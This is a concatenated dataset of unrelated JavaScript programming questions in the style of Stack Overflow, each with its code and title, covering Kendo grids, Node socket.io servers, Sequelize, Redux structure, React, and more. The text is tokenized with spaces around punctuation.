; const c=0 ; const d=0 ; //Regular way would be as below . //How can this use some library instead of doing comparison for each variable if ( a > 0 || b > 0 || c > 0 || d > 0 ) { return true ; } return false ; },How to check if any one of the variable is greater than 0 "JS : I am trying to export data to pdf in kendo grid.Grid : First I try kendo toolbar pdf but it 's not working , it refresesh the page instead of exporting to pdf.Then I place the button at the top of the grid.and define a functionFunction : Compute function for calculating sum manuallyagain fail it says : Uncaught TypeError : $ ( ... ) .data ( ... ) .saveAsPDF is not a function*Resources i used : any idea what 's going wrong here ... $ ( `` # tax_lists '' ) .kendoGrid ( { toolbar : [ `` excel '' , '' pdf '' ] , excel : { allPages : true , fileName : `` Products.xlsx '' } , pdf : { allPages : true , avoidLinks : true , paperSize : `` A4 '' , margin : { top : `` 2cm '' , left : `` 1cm '' , right : `` 1cm '' , bottom : `` 1cm '' } , landscape : true , repeatHeaders : true , template : $ ( `` # page-template '' ) .html ( ) , scale : 0.8 } , dataSource : sData , sortable : true , resizable : true , columns : [ { hidden : true , field : `` TaxStatementID '' , attributes : { `` class '' : '' tax_statement_id '' } } , { field : `` Month '' , title : `` Month '' } , { field : `` AnnualSalary '' , title : `` Annual Salary '' , attributes : { `` class '' : '' AnnualSalary '' } , footerTemplate : `` < div > < b > Sum < /b > # = compute ( '.AnnualSalary ' ) # < /div > '' } , { field : `` MonthlySalary '' , title : `` Monthly Salary '' , attributes : { `` class '' : '' MonthlySalary '' } , footerTemplate : `` < div > < b > Sum < /b > # = compute ( '.MonthlySalary ' ) # < /div > '' } , { field : `` SlabNo '' , title : `` Tax Slab '' } , { field : `` MonthlyTax '' , title : `` Monthly Tax '' , attributes : { `` class '' : '' monthly-tax '' } , footerTemplate : `` < div > < b > Sum < /b > # = compute ( '.monthly-tax ' ) # < /div > '' } , { field : `` TaxAdjustment '' , title : `` Tax Adjustment '' , template : '' # =TaxAdjustment # '' } , { field : `` TaxAreas '' , title : `` Tax Arrears '' } , { title : `` Tax Payable '' , template : '' # =adjustment_type==1 ? parseFloat ( MonthlyTax ) +parseFloat ( TaxAdjustment ) +parseFloat ( TaxAreas ) : ( parseFloat ( MonthlyTax ) +parseFloat ( TaxAreas ) ) -parseFloat ( TaxAdjustment ) # '' , attributes : { `` class '' : '' TaxPayable '' } , footerTemplate : `` < div > < b > Sum < /b > # = compute ( '.TaxPayable ' ) # < /div > '' } , { hidden : true , field : `` employee_id '' , attributes : { `` class '' : '' employee_id '' } } , { hidden : true , field : `` employment_id '' , attributes : { `` class '' : '' employment_id '' } } , ] , } ) ; < button id= '' grid-pdf '' > Export to PDF < /button > $ ( `` # grid-pdf '' ) .kendoButton ( { click : function ( ) { var grid = $ ( `` # tax_lists '' ) .data ( `` kendoGrid '' ) .saveAsPDF ( ) ; } } ) ; function compute ( ) { $ ( cls ) .each ( function ( ) { if ( cls== '' .AnnualSalary '' ) { AnnualSalary += parseInt ( $ ( this ) .text ( ) ) ; } else if ( cls== '' .MonthlySalary '' ) { MonthlySalary += parseInt ( $ ( this ) .text ( ) ) ; } else if ( cls== '' .monthly-tax '' ) { monthlyTax += parseInt ( $ ( this ) .text ( ) ) ; } else { TaxPayable +=parseInt ( $ ( this ) .text ( ) ) ; } } ) ; if ( cls== '' .AnnualSalary '' ) { return AnnualSalary ; } else if ( cls== '' .MonthlySalary '' ) { return MonthlySalary ; } else if ( cls= '' .monthly-tax '' ) { return monthlyTax ; } else { return TaxPayable ; } } < script type= '' text/javascript '' src= '' < ? =base_url ( 'assets/plugins/kendo/jszip.min.js ' ) ? > '' > < /script > < script type= '' text/javascript '' src= '' < ? =base_url ( 'assets/plugins/kendo/kendo.all.min.js ' ) ? > '' > < /script > < script type= '' text/javascript '' src= '' < ? =base_url ( 'assets/plugins/kendo/pako_deflate.min.js ' ) ? > '' > < /script >",Uncaught TypeError : $ ( ... ) .data ( ... ) .saveAsPDF is not a function . kendo Grid "JS : When i start my application node app.js , the process running has only 1 thread . However longer it runs the more threads are made for the process . The problem is that when i want to execute specific kind of code like this : It fails because signal was sent from multiple threads and therefore code isnt successfully executed.Simple test , if one do this : it works alright , but this code : wont be executed , because after 2 minutes node will have many threads and they all try to execute code - as a result you will see error : address in use.So despite running multi-thread process of the same file how can i force node to execute this code only once ? 06.11.2017 EDIT -- -- To clarify the problem : What i mean in the question , i dont have problem with resources , if i start all the servers at once ( for example 40 servers ) they are all started successfully and working indefinitely . Problem happens if i start just one server and then run the code that auto starts more when needed . At that point i always see address in use error , ofc obviously address is not in use in the moment of code execution . Currently i have to manually start more servers in weekends when there are more people using service and less servers in other days of week , i wanted to create automated system that starts and closes servers based on population.this is the code of servers starting : now if i execute controller.add_server ( ) 40 times in row it will start 40 servers correctly , but if i do this : I get randomly error at second , third or forth server creation that address is already used.07.11.2017 EDIT -- -- As suggested i tried the following libraries for port scan/finder : portfinderportscannerscan-portsOnly using first one i was able to start at least 2 servers , this is the code i used : After many tests performed , it look like i can start 2 servers and then its random , crashes at third or forth attempt . Its clear that problem is deeper then with ports finding , this library is only telling me what i already know , i know what ports are opened , and i double check that before script will try to start server with manual netstat -anp | grep PORT command.So its clear that problem is not in finding opened ports , from the outcome point of view it looks like node is attempting to start server multiple times from single command.follow up EDIT -- -- adding server_instance.js code:08.11.2017 EDIT -- -- I was testing many solutions to solve the problem and i observed this situation : local test on mac osx where i can generate maximum 3000 connections to server . Error never happens , node has 1 process and 6 threads for router file . With 3000 connections i can generate even 200 servers without any problem.server test on linux debian where i generate 2 mln connections to server . Error always happens on 3th or 4th server instance , when i connect all the people node has 6 processes and 10 threads for every process for router file.This is clearly the source of the problem , the more capacity i have , more processes node spawns and sooner it will overlap when attempting to start new server . var io = require ( 'socket.io ' ) ( process.env.PORT ) ; var io = require ( 'socket.io ' ) ( 9001 ) ; var io = require ( 'socket.io ' ) ( 9002 ) ; var io = require ( 'socket.io ' ) ( 9003 ) ; var io = require ( 'socket.io ' ) ( 9004 ) ; var cPort = 9001 ; setInterval ( function ( ) { var io = require ( 'socket.io ' ) ( cPort ) ; cPort++ ; } , 1000 * 60 * 2 ) ; // 1 sec * 60 seconds * 2 = 2 minutes interval var cp = require ( 'child_process ' ) , servers = [ ] , per_server = config.per_server , check_servers = function ( callback ) { for ( var i = 0 ; i < servers.length ; i++ ) { callback ( i , servers [ i ] ) ; } } ; this.add_server = function ( port ) { var server = { port : port , load : 0 , process : cp.fork ( __dirname + '/../server_instance.js ' , [ ] , { env : { port : port } } ) } ; server.process.on ( 'message ' , function ( message ) { server.load = message.load ; } ) ; servers.push ( server ) ; } ; this.find_server = function ( ) { var min = Infinity , port = false ; check_servers ( function ( index , details ) { if ( details.load < min ) { min = details.load ; port = details.port ; } } ) ; return port ; } ; var start_port = 3185 ; setInterval ( function ( ) { var min = Infinity ; check_servers ( function ( index , details ) { if ( details.load < min ) { min = details.load ; } } ) ; if ( min > config.per_server ) { controller.add_server ( start_port ) ; start_port++ ; } } , 5000 ) ; setInterval ( function ( ) { var min = Infinity ; check_servers ( function ( index , details ) { if ( details.load < min ) { min = details.load ; } } ) ; if ( min > per_server ) { _self.add_server ( ) ; } } , 5000 ) ; var portfinder = require ( 'portfinder ' ) ; portfinder.basePort = 3185 ; this.add_server = function ( ) { portfinder.getPortPromise ( ) .then ( ( port ) = > { console.log ( 'port found ' , port ) ; var server = { port : port , load : 0 , process : cp.fork ( __dirname + '/../server_instance.js ' , [ ] , { env : { port : port } } ) } ; server.process.on ( 'message ' , function ( message ) { server.load = message.load ; } ) ; servers.push ( server ) ; } ) .catch ( ( err ) = > { console.log ( 'error happened ' ) ; } ) ; } ; var io = require ( 'socket.io ' ) ( process.env.port ) , connections_current = 0 , connections_made = 0 , connections_dropped = 0 ; io.on ( 'connection ' , function ( socket ) { connections_current++ ; connections_made++ ; // ... service logic here , not relevant ( like query db , send data to users etc ) socket.on ( 'disconnect ' , function ( ) { connections_current -- ; connections_dropped++ ; } ) ; } ) ; setInterval ( function ( ) { process.send ( { load : connections_current } ) ; } , 5000 ) ;",node.js force only one thread to execute code JS : I have seen lot of examples in Firefox addon-sdk which uses the below style when declaring a variable . What difference it makes with var { Hotkey } than using var HotKey ? Why the extra flower brackets are used ? var { Hotkey } = require ( `` sdk/hotkeys '' ) ;,Why use var { VariableName } = require ( `` ) in javascript ? "JS : I have a function that store the values of a row in an array onkeyup event . However , there are instances that it would store the same row values but differ on quantity and total but the same id . How would I store it in the array in a way that it would just save the most current set of values of an specific id ? I know it 's a bit confusing , but please take a look in the image below . Thank you for the help . I would like to save the ff : My Code : { id : '' 1 '' , qty : '' 4 '' , price : '' 45 '' , total : '' 180 '' } { id : '' 2 '' , qty : '' 3 '' , price : '' 10 '' , total : '' 30 '' } { id : '' 3 '' , qty : '' 50 '' , price : '' 12 '' , total : '' 600 '' } { id : '' 4 '' , qty : '' 60 '' , price : '' 12 '' , total : '' 720 '' } var arrayVar = [ ] ; var data ; $ ( function ( ) { $ ( ' # tbl-po-list ' ) .on ( 'keyup change ' , 'input [ type= '' number '' ] ' , function ( ) { $ ( this ) .parents ( '.info ' ) .find ( '.total ' ) .val ( $ ( this ) .val ( ) * $ ( this ) .parents ( '.info ' ) .find ( '.price ' ) .val ( ) ) ; data = { id : $ ( this ) .parents ( '.info ' ) .find ( '.prod-id ' ) .val ( ) , qty : $ ( this ) .val ( ) , price : $ ( this ) .parents ( '.info ' ) .find ( '.price ' ) .val ( ) , total : $ ( this ) .parents ( '.info ' ) .find ( '.total ' ) .val ( ) } arrayVar.push ( data ) ; for ( var i = 0 ; i < arrayVar.length ; i++ ) { console.log ( arrayVar [ i ] ) ; } } ) ; } ) ;",How to get the last value of a specific id in an array using javascript ? "JS : I 'm using Karma , Jasmine , Jasmine.Async , Sinon and Chai.The good news ... this test works correctly . The dependency is mocked , spies get called , and intentionally breaking the test subject results in failed tests.The bad news ... a shed load of other tests that were previously fine are now failing for weird reasons . For example : Error : Backbone.history has already been startedandTypeError : 'undefined ' is not an object ( evaluating 'Backbone.Validation.mixin ' ) If I comment out the snippetThen the other tests work again . I 've had stuff like this happen before and it has usually been down to a sinon mock not getting restored . The injector.clean ( ) call does n't seem to be providing the magic bullet I was hoping for . define ( [ 'chai ' , 'squire ' ] , function ( chai , Squire ) { var should = chai.should ( ) , async = new AsyncSpec ( this ) , subject , injector = new Squire ( ) ; describe ( 'EventsView ' , function ( ) { describe ( 'when an event is clicked ' , function ( ) { var mockModel , stub ; async.beforeEach ( function ( done ) { setFixtures ( ' < div id= '' screen '' > < /div > ' ) ; mockModel = { toJSON : function ( ) { return { dimensions : `` hu1 vu2 '' , events : [ { date : `` 8/29/2013 '' , id : `` 8923 '' , title : `` Fancy Show '' , venue : `` Lovely venue '' , } , { date : `` 8/29/2013 '' , id : `` 9034 '' , title : `` Exciting Game '' , venue : `` Lovely stadium '' } ] , id : 3566 , kind : `` events '' , title : `` Top events this week '' } ; } , fetch : function ( ) { } } ; stub = sinon.stub ( ) ; injector.mock ( 'tiles/events-tile/events-detail-model ' , Squire.Helpers.constructs ( { fetch : stub } ) ) ; injector.require ( [ `` tiles/events-tile/events-view '' ] , function ( ev ) { subject = new ev ( mockModel ) ; done ( ) ; } ) ; } ) ; async.afterEach ( function ( done ) { injector.clean ( ) ; injector.remove ( ) ; done ( ) ; } ) ; async.it ( 'should attempt to fetch the event details ' , function ( done ) { $ ( ' # screen ' ) .html ( subject. $ el ) ; $ ( '.event ' ) .first ( ) .click ( ) ; stub.called.should.be.true ; done ( ) ; } ) ; } ) ; } ) ; } ) ; injector.require ( [ `` tiles/events-tile/events-view '' ] , function ( ev ) { subject = new ev ( mockModel ) ; done ( ) ; } ) ;",Squire is breaking other tests "JS : I simply want to load a GWT ( Google Web Toolkit ) app by adding a script tag to the DOM , however because the GWT linker uses document.write ( ) I 'm unable to find any good way of doing so . I 've found some hacks for doing so on various blog posts but they all seem to fail with the latest version of GWT . Any reasonably non-invasive approach for doing this come to mind ? Clarification : Normal way to start up a GWT app , in your host html page : This , of course , starts up as soon as the page loads . I want to do it at a later time : < script type= '' text/javascript '' language= '' javascript '' src= '' myapp.nocache.js '' > < /script > function startapp ( ) { var head = document.getElementsByTagName ( 'head ' ) ; var s = document.createElement ( 'script ' ) ; s.setAttribute ( 'type ' , 'text/javascript ' ) ; s.setAttribute ( 'src ' , 'myapp.nocache.js ' ) ; head [ 0 ] .appendChild ( s ) ; }",GWT bookmarket or GWT as an external library "JS : I have recently started playing around with Javascript and API arrays , in order to try to understand how to retrieve and work with different APIs.The question of Javascript loops and arrays has been asked and answered several times , both here in StackOverflow and other websites.However , I seem to be unable to find ( Potentially due to my lack of understanding and/or keywords used ) exactly what I am looking for.My current project is to create a WebApp that retrieves information from an API ( I chose the random user API ) and display this information on the screen.Implementation and IssueSo far I have been focusing on retrieving specific data from the API ( which I have succeeded to do , to a certain degree ) and displaying them on a browser.I decided that I wanted to show several users at the same time , limiting it to 15 users shown at a time ( when the browser is refreshed it should show another 15 users randomly ( part of the API ) ) .Although I am aware that I can directly request multiple users , by using the results parameter , I am trying to do this myself via loops so that I can understand how to retrieve multiple information and display them as lists.ImplementationThe HTML file : very basic , it contains a main div and inside the div an unordered list element , also containing an element . I will need to remove certain elements from the HTML file and have the JS file create them via innerHTML method as I move forward.CSS file : very basic for now , focusing on the JS file.The Javascript file : pretty basic for now too . It contains a constant variable with the fetched API URL . It retrieves the data as JSON and then adds specific information ( in this case first name and photo ) in their specified IDs , using document.getElementById ( ) .I have researched methods to retrieving and displaying information from APIs and so far have obtained a basic understanding.However , I seem to have come to a halt ( because I do not fully understand how to use for-loops or map ( ) to go through my current JS code and display the same data N amount of times for N amount of users ) .IssueBefore adding the for-loop , the js file retrieves the required information of one random user , which is what I would expect it to do.However , once my for-loop has been added , it stops displaying anything , and does not provide any error messages that could help me solve the issue.I did try the following for-loop to see if I had at least understood the very basics and printed the results in the console : I have attached the block of code snippets to a JSbin link . There , you can see the current state and issue.Current HTML + JS files and output ( JS Bin ) : In this example I have commented out the for-loop to show that it does work up to a certain point.Visited WebsitesLoop through and pull in a certain amount of dataJavascript for loop not looping through arrayJavaScript LoopsWrite JavaScript loops using map , filter , reduce and find for ( var i = 0 ; i < 15 ; i++ ) { console.log ( i ) } const testapi = fetch ( `` https : //randomuser.me/api/ ? gender=male '' ) ; /*for ( var i = 0 ; i < testapi.length ; i++ ) { */testapi.then ( data = > data.json ( ) ) .then ( data = > document.getElementById ( 'test ' ) .innerHTML = `` < h1 > '' + data.results [ 0 ] .gender + `` < /h1 > '' + `` < p > '' + data.results [ 0 ] .name.first + `` < /p > '' + document.getElementById ( `` myImg '' ) .setAttribute ( 'src ' , data.results [ 0 ] .picture.medium ) ) .catch ( function ( err ) { console.log ( 'Fetch Error : -S ' , err ) ; } ) ; /* } */ li { display : flex ; flex-direction : column ; align-items : center ; box-shadow : 2px 4px 25px rgba ( 0 , 0 , 0 , .1 ) ; } < ! DOCTYPE html > < html lang= '' eng '' > < head > < meta charset= '' utf-8 '' > < link rel= '' stylesheet '' type= '' text/css '' href= '' style.css '' > < /head > < body > < div > < ul > < li > < div id= '' test '' > < /div > < img src= '' '' id= '' myImg '' / > < /li > < /ul > < /div > < script src= '' script.js '' > < /script > < /body > < /html >",Javascript : for loop to retrieve and print a certain amount of API data "JS : I 'm trying to add jsmin.exe as a post-build event to my VS 2010 project but I get `` error code 9009 '' when I try to build my project.I 've tested at the command prompt and found that if I navigate to the folder , then runThen it works fine.However , if I run the command from C : \ and enter the full path , it returns ' C : \Users\Andrew\Documents\Visual ' is not recognized as an internal or external command , operable program or batch file.So my conclusion is that jsmin does n't appear to like spaces in the file path . Given that Visual Studio 's convention is to store the projects in a sub-folder of \Visual Studio 2010\ , can anyone suggest how I can get around this issue ? jsmin < debug.js > min.js",Visual Studio : Running jsmin as a post-build event "JS : I 'm following the thread on http : //minhajuddin.com/2013/04/28/angularjs-templates-and-rails-with-eager-loading for eager loading HAML templates . Seems like it 's a reasonable way of ensuring Angular has all the HTML partials it needs cached on initial load to avoid unnecessary round trips to the server . My question is , how does one do the same thing with regular erb/HTML templates if we do not use HAML ? On this particular line : One would need whatever the substitute is for Haml : :Engine.new for erb templates . Is there a solution for that offhand so I can implement the above for my non-Haml based templates ? $ templateCache.put ( `` < % = File.basename ( f ) .gsub ( /\.haml $ / , `` ) % > '' , < % = Haml : :Engine.new ( File.read ( f ) ) .render.to_json % > ) ; < % end % >",Eager load HTML/erb templates in Rails for AngularJS "JS : Consider the following models : Is there a way to query the UserLocation table for a specific UserId and get the corresponding Locations . Something like : SELECT * FROM Locations AS l INNER JOIN UserLocation AS ul ON ul.LocationId = l._id WHERE ul.UserId = 8From what I can find you can do something similar to : However , this returns the Locations , UserLocation junctions , and User which it is joining the User table when I do not need any user information and I just need the Locations for that user . What I have done is working , however , the query against the junction table is prefered instead of the lookup on the User table.I hope this is clear . Thanks in advance.EditI actually ended up implementing this in a different way . However , I am still going to leave this as a question because this should be possible . var User = sequelize.define ( 'User ' , { _id : { type : Datatypes.INTEGER , allowNull : false , primaryKey : true , autoIncrement : true } , name : Datatypes.STRING , email : { type : Datatypes.STRING , unique : { msg : 'Email Taken ' } , validate : { isEmail : true } } } ) ; var Location= sequelize.define ( 'Location ' , { _id : { type : Datatypes.INTEGER , allowNull : false , primaryKey : true , autoIncrement : true } , name : Datatypes.STRING , address : type : Datatypes.STRING } ) ; Location.belongsToMany ( User , { through : 'UserLocation ' } ) ; User.belongsToMany ( Location , { through : 'UserLocation ' } ) ; Location.findAll ( { include : [ { model : User , where : { _id : req.user._id } } ] } ) .then ( loc = > { console.log ( loc ) ; } ) ;",Query junction table without getting both associations in Sequelize "JS : I have JSON object in which data gets filter on Selecting elements from form.My form has following elements : Min Age - Max Age and Gender - male ( 1 ) & female ( 2 ) Following is my JSON object : On Gender select if male , I want id of all males from the object and push it in array . Later if I select min age as 23 and max age as 24 , I want all males with following age to be updated in that array . What will be best strategy to achieve this ? Following is my fiddle link - http : //jsfiddle.net/Nehil/2ym3ffo0/4/ [ { `` id '' : '' 1 '' , `` name '' : '' nehil '' , `` gender '' : '' 1 '' , `` birthday '' : '' 1991-07-22 '' , `` business_id '' : '' 1 '' , `` timestamp '' : '' 2016-03-23 04:46:42 '' , `` age '' : '' 24 '' } , { `` id '' : '' 2 '' , `` name '' : '' vartika `` , `` gender '' : '' 2 '' , `` birthday '' : '' 1990-08-14 '' , `` business_id '' : '' 1 '' , `` timestamp '' : '' 2016-03-23 04:46:46 '' , `` age '' : '' 25 '' } , { `` id '' : '' 3 '' , `` name '' : '' atharva '' , `` gender '' : '' 1 '' , `` birthday '' : '' 1992-10-10 '' , `` business_id '' : '' 1 '' , `` timestamp '' : '' 2016-03-23 04:46:49 '' , `` age '' : '' 23 '' } , { `` id '' : '' 4 '' , `` name '' : '' karan '' , `` gender '' : '' 1 '' , `` birthday '' : '' 1992-12-22 '' , `` business_id '' : '' 1 '' , `` timestamp '' : '' 2016-03-23 04:46:52 '' , `` age '' : '' 23 '' } ]",JSON Object Multiple filter "JS : The question : What is the most maintainable and recommended best practice for organising containers , components , actions and reducers in a large React/Redux application ? My opinion : Current trends seem to organise redux collaterals ( actions , reducers , sagas ... ) around the associated container component . e.g.This works great ! Although there seems to be a couple of issues with this design.The Issues : When we need to access actions , selectors or sagas from another container it seems an anti-pattern . Let 's say we have a global /App container with a reducer/state that stores information we use over the entire app such as categories and enumerables . Following on from the example above , with a state tree : If we want to use a selector from the /App container within our /BookList container we need to either recreate it in /BookList/selectors.js ( surely wrong ? ) OR import it from /App/selectors ( will it always be the EXACT same selector.. ? no. ) . Both these appraoches seem sub-optimal to me.The prime example of this use case is Authentication ( ah ... auth we do love to hate you ) as it is a VERY common `` side-effect '' model . We often need to access /Auth sagas , actions and selectors all over the app . We may have the containers /PasswordRecover , /PasswordReset , /Login , /Signup ... . Actually in our app our /Auth contianer has no actual component at all ! Simply containing all the Redux collaterals for the various and often un-related auth containers mentioned above . /src /components / ... /contianers /BookList actions.js constants.js reducer.js selectors.js sagas.js index.js /BookSingle actions.js constants.js reducer.js selectors.js sagas.js index.js app.js routes.js { app : { taxonomies : { genres : [ genre , genre , genre ] , year : [ year , year , year ] , subject : [ subject , subject , subject ] , } } books : { entities : { books : [ book , book , book , book ] , chapters : [ chapter , chapter , chapter ] , authors : [ author , author , author ] , } } , book : { entities : { book : book , chapters : [ chapter , chapter , chapter ] , author : author , } } , } /src /contianers /Auth actions.js constants.js reducer.js selectors.js sagas.js","Redux : organising containers , components , actions and reducers" "JS : When I tried splitting : then JavaScript gives me this result : And when I tried splitting : it gives me this different result : How is this happening ? How can this be implemented correctly ? `` بحد-8635 '' .split ( '- ' ) [ 0 ] - بحد , [ 1 ] - 8635 console.log ( `` بحد-8635 '' .split ( '- ' ) ) `` 2132-سسس '' .split ( '- ' ) [ 0 ] - 2132 [ 1 ] - سسس console.log ( `` 2132-سسس '' .split ( '- ' ) )",How does JavaScript split work on Arabic plus English number strings ? "JS : Run in your browser ( ES5+ ) If you do it for a plain object like thatWhy does it happen ? Sorry if it might relate to another problem like when Object.keys ( obj ) is only counting it for simple objects which do not contain functions/arrays , but this the 1st time I encountered with it.And would like to know the reason of it . var propCount = Object.keys ( navigator ) .length ; console.log ( propCount ) ; // 0 let obj = { foo : 'bar ' , breaking : 'bad ' } let propCount = Object.keys ( obj ) .length ; console.log ( propCount ) ; // 2",Why ca n't I get properties count of navigator object in JavaScript ? "JS : I am new to typescript and angular js.I tried to include another component code into my code.which is baby.js code into my codebut I am getting an error . TypeError : Can not read property 'tigerStart ' of undefinedcan you guys tell me how to fix it.providing my code belowincluding tigerStart method into whole js code @ ViewChild ( sports ) public sky : sports ; including fish component into my htmlbaby.htmlbaby.jswhen I print this I did n't see sky , so I read the medium form and tried with fat arrow and bind but still I am not able to achived it.in the view child I am using sportscan you tell me how to fix it.so that for future it will be helpfulhttps : //medium.com/ @ thejasonfile/es5-functions-vs-es6-fat-arrow-functions-864033baa1a TypeError : Can not read property 'tigerStart ' of undefined at init.open ( pen-pencil.ts:1270 ) at init.trigger ( kendo.all.min.js:25 ) at init.open ( kendo.all.min.js:45 ) at Penguin.openPopup ( pen-pencil.ts:1286 ) at penguin.pencilClicked ( headset.ts:689 ) at _View_penguin4._handle_click_45_0 ( penguin.ngfactory.js:4087 ) at eval ( core.umd.js:9698 ) at eval ( platform-browser.umd.js:1877 ) at eval ( platform-browser.umd.js:1990 ) at ZoneDelegate.invoke ( zone.js:203 ) that.window = $ ( `` # PenguinPopup '' ) ; that.window.kendoWindow ( { width : `` 60 % '' , title : false , visible : false , resizable : false , actions : [ ] , draggable : false , modal : true , open : function ( ) { $ ( `` html , body '' ) .css ( `` overflow '' , `` hidden '' ) ; that.isVisible = true ; $ ( '.kPopUpTitle ' ) .html ( values.title ) ; this.sky.tigerStart ( ) ; < div class= '' clearFloat '' > < /div > < ul class= '' kendu-custom-contextmenu '' id= '' context-menuFinancialSearch '' > < li class= '' kPopUpBtnTriple '' > View Details < /li > < li class= '' kPopUpBtnTriple '' > Manage Documents < /li > < /ul > < financeLeftSlider ( savedSearchData ) ='getSaveEvent ( $ event ) ' > < /financeLeftSlider > < Fish > < /Fish > < Penguin ( documentCount ) ='getDocumentEvent ( $ event ) ' > < /Penguin > < sports > < /sports > < div class= '' searchNameRequiredPopup '' > < div class= '' pipepobUpBox pipeWindow kPopupConfirmationBox '' > < div class= '' row pipePopUpGridCollection pipePopUpContent lineHeightInputs '' > < div class= '' pipeContent '' > Please enter the search name. < /div > < /div > < div class= '' clearFloat '' > < /div > < div class= '' row pipePopUpFooter textAligncenterImp '' > < ! -- < button class= '' commonBtn '' type= '' button '' id = '' deleteDocumentYes '' > Yes < /button > -- > < button class= '' clearBtn '' type= '' button '' id= '' searchNameRequiredBtn '' > Ok < /button > < /div > < div class= '' clearFloat '' > < /div > < /div > < /div > < div id= '' baby '' > < /div > < div id= '' baby1 '' > < /div > @ Component ( { moduleId : module.id , selector : 'sports ' , templateUrl : 'sports.html ' } ) export class Star { tigerStart ( ) : void { kendo.ui.sky ( $ ( `` # baby '' ) , true ) ; } tigerEnd ( ) : void { kendo.ui.sky ( $ ( `` # baby '' ) , false ) ; } tigerStart1 ( ) : void { kendo.ui.sky ( $ ( `` # baby1 '' ) , true ) ; } tigerEnd1 ( ) : void { kendo.ui.sky ( $ ( `` # baby1 '' ) , false ) ; } } @ ViewChild ( sports ) public sky : sports ; **- tried with fat arrow**open : ( ) = > { **- tried with bind** this.sky.tigerStart ( ) .bind ( this ) ;",typeError : Can not read property 'tigerStart ' of undefined "JS : I logged the height and padding values using this code : This outputs : If the height of the body is only 20 pixels , why does the entire background of the browser change black when I use this CSS : I 'm using Chrome as my browser . If you 're curious as to how I ran into this question , I ran into a problem of adding a click event to the body that did n't ever seem to fire due to the body 's default height . jQuery ( document ) .ready ( function ( ) { console.log ( jQuery ( 'body ' ) .css ( 'height ' ) ) ; console.log ( jQuery ( 'body ' ) .css ( 'padding-top ' ) ) ; console.log ( jQuery ( 'body ' ) .css ( 'padding-bottom ' ) ) ; } ) ; //end ready 20px0px0px body { background : black ; }",Why does changing the body 's background color change the entire page 's background ? "JS : http : //jsfiddle.net/j3oh6s3a/ For some reason appending options to a select tag does n't select the selected='selected ' attribute option , instead selects the next option in the list . Please see the above jfiddle.In the above example Car3 should be selected , but Car4 is selected after appending options to the select . < select id= '' category '' > < option value= ' 1 ' > Categroy 1 < /option > < option value= ' 2 ' > Categroy 2 < /option > < option value= ' 3 ' > Categroy 3 < /option > < /select > < select id= '' sub-category '' > < option value= ' 1 ' data-parentid= ' 1 ' > Car1 < /option > < option value= ' 2 ' data-parentid= ' 1 ' > Car2 < /option > < option selected='selected ' value= ' 3 ' data-parentid= ' 1 ' > Car3 < /option > < option value= ' 4 ' data-parentid= ' 1 ' > Car4 < /option > < option value= ' 5 ' data-parentid= ' 1 ' > Car5 < /option > < option value= ' 6 ' data-parentid= ' 2 ' > Car6 < /option > < option value= ' 7 ' data-parentid= ' 2 ' > Car7 < /option > < option value= ' 8 ' data-parentid= ' 2 ' > Car8 < /option > < option value= ' 9 ' data-parentid= ' 3 ' > Car9 < /option > < option value='10 ' data-parentid= ' 3 ' > Car10 < /option > < option value='11 ' data-parentid= ' 3 ' > Car11 < /option > < option value='12 ' data-parentid= ' 3 ' > Car12 < /option > < /select > $ ( document ) .ready ( function ( ) { var allsuboptions = $ ( ' # sub-category option ' ) .remove ( ) ; var selectedOptions = allsuboptions.filter ( function ( ) { return $ ( this ) .data ( 'parentid ' ) .toString ( ) === $ ( ' # category ' ) .val ( ) .toString ( ) ; } ) ; selectedOptions.appendTo ( ' # sub-category ' ) ; } ) ;",jQuery option appendTo select moves to next option instead of select one "JS : I 'm trying to create a continuous looping animation whereby one div img fades in and then the next fading out the last one this is what I have so far.JavaScript : HTML : CSS : Live demo : jsFiddleI 'm sure this ca n't be that far off all I need to do is fade out the last one and in the next one I have a sequence but need to expand it and make it loop . function fadeLoop ( ) { $ ( `` .circle img '' ) .each ( function ( index ) { $ ( this ) .delay ( 1000*index ) .fadeIn ( 500 ) ; } ) ; } ; $ ( '.circle ' ) .delay ( 2000 ) .fadeIn ( 2000 , function ( ) { fadeLoop ( ) ; } ) ; < div class= '' circle '' id= '' first-circle '' > < img src= '' test.jpg '' / > < a href= '' '' > ART < /a > < /div > < div class= '' circle '' id= '' second-circle '' > < img src= '' test.jpg '' / > < a href= '' '' > FASHION < /a > < /div > < div class= '' circle '' id= '' third-circle '' > < img src= '' test.jpg '' / > < a href= '' '' > DECOR < /a > < /div > .circle { border-radius:300px ; width:300px ; border:5px solid # ccc ; height:300px ; margin:10px ; padding:0px ; float : left ; display : none ; position : relative ; } .circle a { position : relative ; z-index:999 ; margin:0 auto ; line-height:300px ; display : block ; width:300px ; text-align : center ; font-family : sans-serif ; font-weight : normal ; text-transform : capitalize ; color : # fff ; font-size:60px ; text-decoration : none ; } # first-circle img , # second-circle img , # third-circle img { display : none ; } # first-circle { background : # 803131 ; } # second-circle { background : # 751c20 ; } # third-circle { background : # 803131 ; } # first-circle img { border-radius:300px ; width:300px ; height:300px ; position : absolute ; top:0px ; left:0px ; } # second-circle img { border-radius:300px ; width:300px ; height:300px ; position : absolute ; top:0px ; left:0px ; } # third-circle img { border-radius:300px ; width:300px ; height:300px ; position : absolute ; top:0px ; left:0px ; }",Create an animation sequence loop jquery "JS : I have a TypeScript singleton classNow , I would like to pass some options while creating this singleton instance . E.g an option that sets the mode of the instance to production mode . So , that could be implemented by having getInstance accept an options object that gets propagated to the constructor . Then the usage becomes likeIs this the best way to do this ? I feel kind of icky about doing this because when the consumer of MySingleton executes getInstance by passing an options object , there is no way for him or her to know that the passed options object will be used or just disregarded . class MySingleton { private static _instance : MySingleton ; private constructor ( ) ; public static getInstance ( ) { if ( ! MySingleton._instance ) { MySingleton._instance = new MySingleton ( ) ; } return MySingleton._instance ; } } MySingleton.getInstance ( { prodMode : true } ) ;",TypeScript pattern to pass options while creating singleton instance "JS : If I have the following HTML : And I initialize a ReactJS Component into the # myreactcomponent div , can I somehow render the h1 and the p element inside the component ? Something like that : Is there an option for that in ReactJS ? You can check this JSFiddle to see a demonstration of my problem.For people familiar with Angular : I search the transclude option and the < ng-transclude/ > tag of an AngularJS directive in React.For people familiar with Polymer : I search the equivalent of the < content/ > tag in React.UPDATEI tried the this.props.children property , but as far as I understand , this only works if the initial HTML is already in an React component.I really need to render the children of the element that I initially render the first React component into.UPDATE 2To move the HTML into the initialization of the component ( as shown in the update of the JSFiddle ) is not an option in my case , due to different systems which render the initial HTML and the React components . < div id= '' myreactcomponent '' > < h1 > Headline < /h1 > < p > Content < /p > < /div > return ( < Header > < /Header > { place h1 and p here } < Footer > < 